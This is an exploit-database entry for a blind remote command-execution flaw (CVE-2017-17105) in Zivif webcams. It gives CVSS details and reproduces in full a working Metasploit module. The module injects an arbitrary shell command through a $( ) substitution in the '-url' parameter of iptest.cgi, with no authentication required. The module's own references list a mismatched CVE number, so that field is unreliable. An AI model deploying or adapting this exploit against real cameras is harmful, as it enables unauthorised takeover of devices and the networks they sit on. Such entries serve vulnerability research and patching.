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Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command Execution

CVE	Category	Price	Severity
CVE-2017-17105	CWE-78	$500	High

Author	Risk	Exploitation Type	Date
Sick Codes	High	Remote	2020-06-17

CPE
cpe:cpe:/a:zivif:camera:2.3.4:2103

CVSS	EPSS	EPSSP
CVSS:7.5/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020060066

Below is a copy:

Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'             => 'Zivif Camera iptest.cgi Blind Remote Command Execution',
      'Description'      => %q{
          This module exploits a remote command execution vulnerability in Zivif
       webcams.  This is known to impact versions prior to and including v2.3.4.2103.
       Exploit was reported in CVE-2017-17105.
      },
      'License'          => MSF_LICENSE,
      'Author'           => [ 'Silas Cutler (p1nk)' ],
      'References'       =>
        [
          [ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ],
          [ 'CVE', '2017-171069' ]
        ],
      'Platform'         => 'unix',
      'Targets'          =>
        [
          [ 'Automatic Target', { }]
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00\x27",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic'
            }
        },
      'DefaultOptions'  =>
        {
          'PAYLOAD'           => 'cmd/unix/generic',
        },
      'Privileged'       => false,
      'DisclosureDate'   => "2017-09-01",
      'DefaultTarget'    => 0))
  end

  def check
    res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))
    unless res
      vprint_error('Connection failed')
      return Exploit::CheckCode::Unknown
    end
    unless res.code && res.code == 200
      return CheckCode::Safe
    end

    CheckCode::Detected
  end

  def exploit
    print_status("Sending request")
    cmd = datastore['CMD']

    res = send_request_cgi(
      'uri' => normalize_uri('cgi-bin', 'iptest.cgi'),
      'method' => 'GET',
      'vars_get' => {
        'cmd' => "iptest.cgi",
        '-time' => Time.now.to_i,
        '-url' => "$(" + cmd + ")"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code && res.code == 200
      print_good('Command sent successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Unable to send command to target')
    end
  end

end

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